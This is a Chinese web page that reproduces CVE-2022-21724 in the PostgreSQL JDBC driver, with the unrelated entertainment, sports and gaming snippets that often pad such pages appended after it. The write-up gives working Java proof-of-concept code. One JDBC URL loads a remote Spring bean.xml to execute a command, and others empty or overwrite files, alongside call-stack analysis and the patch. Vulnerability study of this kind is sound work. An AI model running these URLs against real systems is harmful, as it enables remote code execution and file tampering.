范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

任意代码执行漏洞复现

  漏洞简介
  在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过  authenticationPluginClassName  、sslhostnameverifier  、socketFactory   、sslfactory  、sslpasswordcallback   连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
  影响范围:   9.4.1208 <=PgJDBC <42.2.25    42.3.0 <=PgJDBC < 42.3.2 漏洞复现
  创建 maven 项目,添加依赖       org.postgresql     postgresql     42.3.1        org.springframework     spring-context-support     5.3.23 
  编写测试代码 import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;  public class cve202221724 {     public static void main(String[] args) throws SQLException {         String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";         String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";         String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;         Connection connection = DriverManager.getConnection(jdbcUrl);     } }
  bean.xml                                       bash             -c             calc.exe                          
  【一一帮助安全学习,所有资料关注我,私信回复"资料"获取一一】
  ①网络安全学习路线
  ②20份渗透测试电子书
  ③安全攻防357页笔记
  ④50份安全攻防面试指南
  ⑤安全红队渗透工具包
  ⑥网络安全必备书籍
  ⑦100个漏洞实战案例
  ⑧安全大厂内部教程漏洞分析
  任意代码执行 socketFactory/socketFactoryArg
  先将调试后的流程大概画出
  java.sql.DriverManager#getConnection(java.lang.String)
  java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
  利用  org.postgresql.Driver   的 jdbc 驱动去连接数据库
  org.postgresql.Driver#connect
  调用 makeConnection 去连接数据库
  org.postgresql.Driver#makeConnection
  org.postgresql.jdbc.PgConnection#PgConnection
  org.postgresql.core.ConnectionFactory#openConnection
  org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
  org.postgresql.core.SocketFactoryFactory#getSocketFactory
  PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值
  SOCKET_FACTORY(       "socketFactory",       null,       "Specify a socket factory for socket creation"),   SOCKET_FACTORY_ARG(       "socketFactoryArg",       null,       "Argument forwarded to constructor of SocketFactory class."),
  org.postgresql.util.ObjectFactory#instantiate
  通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。 org.apache.commons.jxpath.functions.ConstructorFunction org.apache.commons.jxpath.functions.MethodFunction java.io.FileOutputStream
  通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空( jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt  )任意代码执行 sslfactory/sslfactoryarg
  (https://xzfile.aliyuncs.com/media/upload/picture/20221107161250-f8d81774-5e73-1.gif)
  :85, ClassPathXmlApplicationContext (org.springframework.context.support) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) instantiate:62, ObjectFactory (org.postgresql.util) getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core) convert:34, MakeSSL (org.postgresql.ssl) enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3) tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3) openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3) openConnection:51, ConnectionFactory (org.postgresql.core) :225, PgConnection (org.postgresql.jdbc) makeConnection:466, Driver (org.postgresql) connect:265, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:17, cve202221724
  org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
  尝试与数据库进行连接
  org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
  建立连接后收到请求以  S   开头,进入 org.postgresql.ssl.MakeSSL#convert
  org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
  org.postgresql.ssl.MakeSSL#convert
  org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
  任意文件写入 loggerLevel/loggerFile
  import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;  public class cve202221724 {     public static void main(String[] args) throws SQLException {         String loggerLevel = "debug";         String loggerFile = "test.txt";         String shellContent="test";         String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;         Connection connection = DriverManager.getConnection(jdbcUrl);     } }
  org.postgresql.Driver#connect
  org.postgresql.Driver#setupLoggerFromProperties
  通过 设置扩展参数  LOGGER_FILE   指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件
  生成临时文件,之后将日志信息保存到文件中
  org.postgresql.Driver#connect
  先通过 setupLoggerFromProperties 设定相关的参数 然后再利用  LOGGER.log   保存文件
  漏洞修复
  针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
  对于任意文件写入而言,高版本中移除了对日志文件的设定操作  setupLoggerFromProperties(props);

卫视春晚比美baby离婚后美呆,关晓彤衣品没得挑,杨幂惊艳全场每年央视春晚过后,就是各大卫视春晚各显神通的时候,想要登上收视冠军的宝座,不费点心思可不行。今年五大上星卫视春晚也已经落下了帷幕,北京台春晚再一次以1。5875的超高收视碾压性地战第一次读就觉得很震撼的句子1生活不可能像你想象得那么好,但也不会像你想象得那么糟。我觉得人的脆弱和坚强都超乎自己的想象。有时,我可能脆弱得一句话就泪流满面有时,也发现自己咬着牙走了很长的路。莫泊桑一生2我们大年初四图片早安心语句子,正月初四风俗配图祝福语句子大年初四到了,接五路财神金玉满堂,迎灶神丰衣足食,财源滚滚来。不管如何,不必在意,一路向阳,静候花开,给自己一个全新的开始。毕竟,莫负韶华,是我们对自己最好的报答享受美食迎灶神,五春晚女星大比美马凡舒关晓彤惊艳,王鸥出其不意,被杨幂媚到明星们在春节期间也没闲着,在各大春晚上都留下了他们或帅气或倩丽的身影,尤其是女明星们,谁要是能美得出圈,那真的算是赢下了开年热点!首先就是最多人收看的春晚,当晚就有不少女明星美上了惠若琪产后首次现身身材发福但容颜仍精致,穿飘逸长裙惊艳全场近日,中国女排前任队长惠若琪现身某活动,分享了自己当妈妈后的心路历程。今年6月份,惠若琪产下一女,此后除了在社交媒体上晒出照片之外,还从没有公开露面。5个多月后,惠若琪的身体恢复得欧协联10人热刺遭读秒绝杀爆冷负罗马40大胜出线鸭脖惊艳倒钩北京时间11月26日凌晨,202122赛季第三级别欧战欧洲协会联赛小组赛第五轮进行了两场焦点战,热刺爆冷输球,罗马大胜出线。以下是详细战报穆拉21热刺G组第五轮,英超劲旅热刺客场对闻国足败给越南,群中女诗人怒其不争纷欲报名杀入绿茵场七言闻国足败给越南,群中女诗人怒其不争纷欲报名杀入绿茵场群中有女小金钗,联画皆精扫眉才。平时温柔吟风柳,闻之叱咤动玉腮。愿当前锋收羞态,力拔山兮足气概。不有竖子误国谋?安能娘儿强出本赛季最令人惊艳的八名球星,普尔很亮眼,莫兰特令人无解NBA常规赛赛季已过半,各支球队都在为季后赛的最终席位而厮杀,在漫长的赛季中,涌现出了众多令人震撼动容的比赛画面,令人印象深刻。今天,我们共同盘点下本赛季最令人惊艳的八名球星。第八iPhoneSE3海外价格偷跑,比上代要低25多方消息显示,苹果会在上半年发布第三代iPhoneSE,这款手机最大的卖点,就是低廉的售价,将成为苹果最便宜的5G手机。苹果会在3月份召开春季发布会,iPhoneSE3有望在此次发华为手机跌出全球前10,4季度销量都不如联想传音了?众所周知,自2019年之后,智能手机产业似乎就陷入了停顿,不再有高增长,特别是在2020年的疫情之下,手机销量甚至不升反降。不过2021年,在疫情得到一定控制之后,智能手机的出货量二十四节气灸立春艾灸养肝护肝!疏肝气清肝毒养肝血2022年立春时间2月4日442农历正月初四星期五立春,为二十四节气之首,又名正月节岁节改岁岁旦等。立,是开始之意春,代表着温暖生长。黄帝内经四气调神大论里写到春三月,此谓发陈,天
2022年的这3款国产手机,基础体验让人满意,价格并不昂贵2022年的这3款国产手机,基础体验让人满意,价格并不昂贵第一款小米12SUltra优点芯片提升,日常最多就是温热。出片速度的提升,秒拍秒出。白平衡提升。配备一块4860mAh容量小米MIXFold2发布起售价8999元8月11日晚,小米召开手机发布会发布了旗下第二款折叠屏MIXFold2,由于第一代造型配置并不算出色,所以网友们对第二代更是充满了期待。而这一次MIXFold2主打轻薄折叠,这次的红米Note12Pro曝光,或搭载天玑9000,120W快充,千元机皇来了小米的发布会已经结束,小米折叠屏手机MixFold2和红米K50至尊版真的让人好评,但是虽然性价比很高,但是还是有很多人想买千元机,而下半年最让人心动的千元机非红米Note12系列老了?玩不动游戏了?是什么改变了我们?曾经那个孩子,背着父母偷偷地玩游戏直到天亮。曾经那个幼稚鬼,拿尺子铅笔当作道具,模仿游戏中的人物仿佛我们拥有魔力。曾经那个中二少年,熬夜通宵跟小伙伴拼死对战到天亮就是不服输。是的,龙舌兰让玩家们手舞足蹈,海盗游戏ATLAS精酿师也大受欢迎但凡是涉及到海盗主题的电影或者游戏中,一般都会出现酒这种元素。在海盗的日常生活中,酒似乎是必不可少的存在。在Steam平台上有这么一款颇为经典的海盗题材生存类沙盒游戏ATLAS,这Steam十大高画质游戏盘点,方舟生存进化飞龙奶恐龙喝都说好最近这些年,Steam上线了无数优秀的游戏作品,其中生存游戏更是成为了玩家们的新宠,下面我就来为大家推荐最近10年内推出的优质生存游戏,不管是从评价还是销量来看这些游戏,它们都是不模拟游戏城市之眼即将发售监控整个城市抓捕罪犯独立游戏团队UltimateGames研发的模拟游戏城市之眼(CityEye)即将于8月13日在Steam发售,玩家要监控整个城市,抓出犯罪者。城市之眼游戏世界中,玩家要成为中央监新手萌新必看的原神入门攻略教程,第1999集刚开始接触原神,还没有在原神游戏里建立原神世界观的朋友,如何可以更快的熟悉游戏里的操作呢?那么就让黑洞记带领各位新伙伴,从零开始了解下原神游戏里的世界吧!在我们进入原神游戏后,会看大话西游手游神豪用几千万玉洗坐骑技能,真上头了首先看第一张图片的9亿仙玉!然后对这个大话无限仙玉服有想玩的,可以看结尾的投票剩下的文字可以不用看,看图片和文章结尾即可!碧桃娘子,这个宝宝同样也是经历了一次改名,但不得不说,碧桃王者荣耀新英雄海月技能一览,大招强制拉人1V1,铠皇笑炸了王者荣耀新英雄海月已经正式上线体验服,该英雄定位远程消耗型法师,拥有两个远距离的消耗技能和一个强制1V1的大招。下面一起来看看新英雄的具体技能效果技能简介被动释放12技能会消耗一个QQ西游现天命西游新区紫霄宫加Q群发现金红包天命西游(原QQ西游)2021荣获金翎奖十大最受欢迎网游,新区紫霄宫即将上线,现在注册即可领取新手成长大礼包!快来畅游西游吧亲爱的小伙伴们,天命西游国际服新区紫霄宫再起征程!新区预